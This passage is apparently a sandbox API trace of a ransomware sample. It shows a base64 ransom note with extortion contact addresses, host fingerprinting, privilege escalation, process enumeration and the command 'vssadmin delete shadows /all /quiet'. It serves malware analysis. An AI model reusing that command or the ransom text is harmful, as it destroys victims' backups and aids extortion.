XIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ", _EndPtr=0x327f830, _Radix=0 | out: _EndPtr=0x327f830*=",\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ") returned 0 [0165.833] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c2348, Size=0x28) returned 0x33c2198 [0165.833] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1938 [0165.833] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c2198, Size=0x2c) returned 0x33bb648 [0165.833] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d17d8 [0165.833] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bb648, Size=0x30) returned 0x33bb5d8 [0165.833] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1878 [0165.833] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x4) returned 0x33c67b0 [0165.833] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1918 [0165.833] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c67b0, Size=0x8) returned 0x33c67e0 [0165.833] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1978 [0165.833] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bb5d8, Size=0x34) returned 0x33cfa60 [0165.833] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1af8 [0165.833] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c66b0) returned 1 [0165.833] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c7090) returned 1 [0165.834] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x34) returned 0x33cf820 [0165.834] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x44) returned 0x33c2c80 [0165.834] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc4) returned 0x33b3a70 [0165.834] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c6790) returned 1 [0165.834] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x60) returned 0x33bc500 [0165.834] GetVersion () returned 0x3ad7000a [0165.834] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x33bc508 | out: Wow64Process=0x33bc508) returned 1 [0165.837] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x21) returned 0x33c23a8 [0165.837] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x384) returned 0x33d1b90 [0165.838] GetComputerNameExW (in: NameType=0x0, lpBuffer=0x0, nSize=0x327f7e8 | out: lpBuffer=0x0, nSize=0x327f7e8) returned 0 [0165.838] GetLastError () returned 0xea [0165.838] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1ac8 [0165.838] GetComputerNameExW (in: NameType=0x0, lpBuffer=0x33c1ac8, nSize=0x327f7e8 | out: lpBuffer="NQDPDE", nSize=0x327f7e8) returned 1 [0165.838] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xf4) returned 0x33bbf50 [0165.838] GetCurrentHwProfileW (in: lpHwProfileInfo=0x33bbf50 | out: lpHwProfileInfo=0x33bbf50) returned 1 [0165.839] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x70) returned 0x33b4a28 [0165.839] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x20) returned 0x33cbee8 [0165.839] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33cbee8) returned 1 [0165.839] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x20) returned 0x33cc050 [0165.839] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x20) returned 0x33cbdd0 [0168.294] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33cbdd0) returned 1 [0168.294] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x41) returned 0x33c2730 [0168.294] sprintf (in: _Dest=0x33c2730, _Format="%0.2x" | out: _Dest="d0") returned 2 [0168.294] sprintf (in: _Dest=0x33c2732, _Format="%0.2x" | out: _Dest="e7") returned 2 [0168.294] sprintf (in: _Dest=0x33c2734, _Format="%0.2x" | out: _Dest="31") returned 2 [0168.294] sprintf (in: _Dest=0x33c2736, _Format="%0.2x" | out: _Dest="38") returned 2 [0168.294] sprintf (in: _Dest=0x33c2738, _Format="%0.2x" | out: _Dest="58") returned 2 [0168.294] sprintf (in: _Dest=0x33c273a, _Format="%0.2x" | out: _Dest="e3") returned 2 [0168.294] sprintf (in: _Dest=0x33c273c, _Format="%0.2x" | out: _Dest="f9") returned 2 [0168.294] sprintf (in: _Dest=0x33c273e, _Format="%0.2x" | out: _Dest="ca") returned 2 [0168.294] sprintf (in: _Dest=0x33c2740, _Format="%0.2x" | out: _Dest="57") returned 2 [0168.294] sprintf (in: _Dest=0x33c2742, _Format="%0.2x" | out: _Dest="f4") returned 2 [0168.295] sprintf (in: _Dest=0x33c2744, _Format="%0.2x" | out: _Dest="c7") returned 2 [0168.295] sprintf (in: _Dest=0x33c2746, _Format="%0.2x" | out: _Dest="71") returned 2 [0168.295] sprintf (in: _Dest=0x33c2748, _Format="%0.2x" | out: _Dest="32") returned 2 [0168.295] sprintf (in: _Dest=0x33c274a, _Format="%0.2x" | out: _Dest="ee") returned 2 [0168.295] sprintf (in: _Dest=0x33c274c, _Format="%0.2x" | out: _Dest="e3") returned 2 [0168.295] sprintf (in: _Dest=0x33c274e, _Format="%0.2x" | out: _Dest="6b") returned 2 [0168.295] sprintf (in: _Dest=0x33c2750, _Format="%0.2x" | out: _Dest="0a") returned 2 [0168.295] sprintf (in: _Dest=0x33c2752, _Format="%0.2x" | out: _Dest="6f") returned 2 [0168.295] sprintf (in: _Dest=0x33c2754, _Format="%0.2x" | out: _Dest="d9") returned 2 [0168.295] sprintf (in: _Dest=0x33c2756, _Format="%0.2x" | out: _Dest="79") returned 2 [0168.295] sprintf (in: _Dest=0x33c2758, _Format="%0.2x" | out: _Dest="e9") returned 2 [0168.295] sprintf (in: _Dest=0x33c275a, _Format="%0.2x" | out: _Dest="fd") returned 2 [0168.295] sprintf (in: _Dest=0x33c275c, _Format="%0.2x" | out: _Dest="e5") returned 2 [0168.295] sprintf (in: _Dest=0x33c275e, _Format="%0.2x" | out: _Dest="a7") returned 2 [0168.295] sprintf (in: _Dest=0x33c2760, _Format="%0.2x" | out: _Dest="0c") returned 2 [0168.295] sprintf (in: _Dest=0x33c2762, _Format="%0.2x" | out: _Dest="e0") returned 2 [0168.295] sprintf (in: _Dest=0x33c2764, _Format="%0.2x" | out: _Dest="c4") returned 2 [0168.295] sprintf (in: _Dest=0x33c2766, _Format="%0.2x" | out: _Dest="57") returned 2 [0168.295] sprintf (in: _Dest=0x33c2768, _Format="%0.2x" | out: _Dest="db") returned 2 [0168.295] sprintf (in: _Dest=0x33c276a, _Format="%0.2x" | out: _Dest="f6") returned 2 [0168.295] sprintf (in: _Dest=0x33c276c, _Format="%0.2x" | out: _Dest="e5") returned 2 [0168.295] sprintf (in: _Dest=0x33c276e, _Format="%0.2x" | out: _Dest="45") returned 2 [0168.295] RtlInitAnsiString (in: DestinationString=0x327f7a4, SourceString="d0e7313858e3f9ca57f4c77132eee36b0a6fd979e9fde5a70ce0c457dbf6e545" | out: DestinationString="d0e7313858e3f9ca57f4c77132eee36b0a6fd979e9fde5a70ce0c457dbf6e545") [0168.295] RtlAnsiStringToUnicodeString (in: DestinationString=0x327f7ac, SourceString="d0e7313858e3f9ca57f4c77132eee36b0a6fd979e9fde5a70ce0c457dbf6e545", AllocateDestinationString=1 | out: DestinationString="d0e7313858e3f9ca57f4c77132eee36b0a6fd979e9fde5a70ce0c457dbf6e545") returned 0x0 [0168.296] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x82) returned 0x33d2218 [0168.296] RtlFreeAnsiString (AnsiString="d") [0168.296] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33cc050) returned 1 [0168.296] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33b4a28) returned 1 [0168.296] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33bbf50) returned 1 [0168.296] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1ac8) returned 1 [0168.296] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x16) returned 0x33d1998 [0168.298] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x8) returned 0x33c6830 [0168.298] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x20a) returned 0x33d2f28 [0168.298] Wow64DisableWow64FsRedirection (in: OldValue=0x327f8a4 | out: OldValue=0x327f8a4*=0x0) returned 1 [0168.298] GetSystemDirectoryW (in: lpBuffer=0x33d2f28, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0168.298] wcscat (in: _Dest=0x33d2f28, _Source="\\vssadmin.exe" | out: _Dest="C:\\WINDOWS\\system32\\vssadmin.exe") returned="C:\\WINDOWS\\system32\\vssadmin.exe" [0168.298] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x240) returned 0x33d3140 [0168.298] wcscpy (in: _Dest=0x33d3140, _Source="C:\\WINDOWS\\system32\\vssadmin.exe" | out: _Dest="C:\\WINDOWS\\system32\\vssadmin.exe") returned="C:\\WINDOWS\\system32\\vssadmin.exe" [0168.298] wcscat (in: _Dest=0x33d3140, _Source=" delete shadows /all /quiet" | out: _Dest="C:\\WINDOWS\\system32\\vssadmin.exe delete shadows /all /quiet") returned="C:\\WINDOWS\\system32\\vssadmin.exe delete shadows /all /quiet" [0168.298] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="C:\\WINDOWS\\system32\\vssadmin.exe delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x327f7fc*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x327f840 | out: lpCommandLine="C:\\WINDOWS\\system32\\vssadmin.exe delete shadows /all /quiet", lpProcessInformation=0x327f840*(hProcess=0x2bc, hThread=0x2c0, dwProcessId=0xe78, dwThreadId=0xe7c)) returned 1 [0168.313] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33d3140) returned 1 [0168.314] Wow64RevertWow64FsRedirection (OlValue=0x327f8a4) returned 1 [0168.314] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33d2f28) returned 1 [0168.314] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32951c0, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c4 [0168.314] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x3294cc0, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b8 [0168.315] WaitForMultipleObjects (nCount=0x2, lpHandles=0x33c6830*=0x2c4, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 1468 os_tid = 0xdcc Thread: id = 1775 os_tid = 0xe80 [0169.126] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x35df894 | out: lpLuid=0x35df894*(LowPart=0x14, HighPart=0)) returned 1 [0169.129] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0xf01ff, TokenHandle=0x35df81c | out: TokenHandle=0x35df81c*=0x2ec) returned 0x0 [0169.129] AdjustTokenPrivileges (in: TokenHandle=0x2ec, DisableAllPrivileges=0, NewState=0x35df884*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0169.129] GetLastError () returned 0x514 [0169.129] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1024) returned 0x33d60f0 [0169.129] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0169.131] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x2048) returned 0x33d7120 [0169.131] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d7120, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x33d7120, ResultLength=0x0) returned 0xc0000004 [0169.132] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d7120, Size=0x306c) returned 0x33d7120 [0169.132] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d7120, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x33d7120, ResultLength=0x0) returned 0xc0000004 [0169.132] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d7120, Size=0x4090) returned 0x33da198 [0169.133] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33da198, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x33da198, ResultLength=0x0) returned 0xc0000004 [0169.133] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33da198, Size=0x50b4) returned 0x33da198 [0169.133] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33da198, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x33da198, ResultLength=0x0) returned 0xc0000004 [0169.133] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33da198, Size=0x60d8) returned 0x33df258 [0169.134] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33df258, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x33df258, ResultLength=0x0) returned 0xc0000004 [0169.134] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33df258, Size=0x70fc) returned 0x33df258 [0169.134] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33df258, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x33df258, ResultLength=0x0) returned 0xc0000004 [0169.135] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33df258, Size=0x8120) returned 0x33d60f0 [0169.135] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0169.135] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x9144) returned 0x33d60f0 [0169.135] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0171.317] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xa168) returned 0x33d60f0 [0171.317] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0171.319] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xb18c) returned 0x33d60f0 [0171.319] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0171.319] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xc1b0) returned 0x33d60f0 [0171.319] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0171.320] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xd1d4) returned 0x33d60f0 [0171.320] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0171.320] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xe1f8) returned 0x33d60f0 [0171.320] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0171.320] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xf21c) returned 0x33d60f0 [0171.320] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0171.321] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x10240) returned 0x33d60f0 [0171.321] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0171.321] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x11264) returned 0x33e6338 [0171.322] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e6338, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x33e6338, ResultLength=0x0) returned 0xc0000004 [0171.323] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33e6338, Size=0x12288) returned 0x33e6338 [0171.323] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e6338, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x33e6338, ResultLength=0x0) returned 0xc0000004 [0171.323] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33e6338, Size=0x132ac) returned 0x33f85c8 [0171.324] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33f85c8, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x33f85c8, ResultLength=0x0) returned 0xc0000004 [0171.325] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33f85c8, Size=0x142d0) returned 0x33f85c8 [0171.325] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33f85c8, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x33f85c8, ResultLength=0x0) returned 0xc0000004 [0171.326] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33f85c8, Size=0x152f4) returned 0x33d60f0 [0171.326] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0171.326] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x16318) returned 0x33d60f0 [0171.326] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0171.327] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x1733c) returned 0x33d60f0 [0171.327] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0171.327] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x18360) returned 0x33d60f0 [0171.327] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0171.328] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x19384) returned 0x33d60f0 [0171.328] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0171.328] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x1a3a8) returned 0x33d60f0 [0171.328] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0x0 [0171.329] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="System", AllocateDestinationString=1 | out: DestinationString="System") returned 0x0 [0171.329] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x7) returned 0x33f0610 [0171.329] RtlFreeAnsiString (AnsiString="System") [0171.329] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33f0610) returned 1 [0171.329] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="smss.exe", AllocateDestinationString=1 | out: DestinationString="smss.exe") returned 0x0 [0171.329] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x9) returned 0x33c1e10 [0171.329] RtlFreeAnsiString (AnsiString="smss.exe") [0171.329] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e10) returned 1 [0171.329] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0171.329] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e88 [0171.329] RtlFreeAnsiString (AnsiString="csrss.exe") [0171.330] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e88) returned 1 [0171.330] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="wininit.exe", AllocateDestinationString=1 | out: DestinationString="wininit.exe") returned 0x0 [0171.330] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0171.330] RtlFreeAnsiString (AnsiString="wininit.exe") [0171.330] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1de0) returned 1 [0171.330] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0171.330] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1df8 [0171.330] RtlFreeAnsiString (AnsiString="csrss.exe") [0171.330] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1df8) returned 1 [0171.330] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="winlogon.exe", AllocateDestinationString=1 | out: DestinationString="winlogon.exe") returned 0x0 [0171.330] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e58 [0171.330] RtlFreeAnsiString (AnsiString="winlogon.exe") [0171.330] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e58) returned 1 [0171.330] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="services.exe", AllocateDestinationString=1 | out: DestinationString="services.exe") returned 0x0 [0171.331] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1df8 [0171.331] RtlFreeAnsiString (AnsiString="services.exe") [0171.331] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1df8) returned 1 [0171.331] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="lsass.exe", AllocateDestinationString=1 | out: DestinationString="lsass.exe") returned 0x0 [0171.331] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e40 [0171.331] RtlFreeAnsiString (AnsiString="lsass.exe") [0171.331] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e40) returned 1 [0171.331] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0171.331] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1e88 [0171.331] RtlFreeAnsiString (AnsiString="fontdrvhost.exe") [0171.331] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e88) returned 1 [0171.331] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0171.331] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1df8 [0171.331] RtlFreeAnsiString (AnsiString="fontdrvhost.exe") [0171.332] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1df8) returned 1 [0171.332] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0171.332] 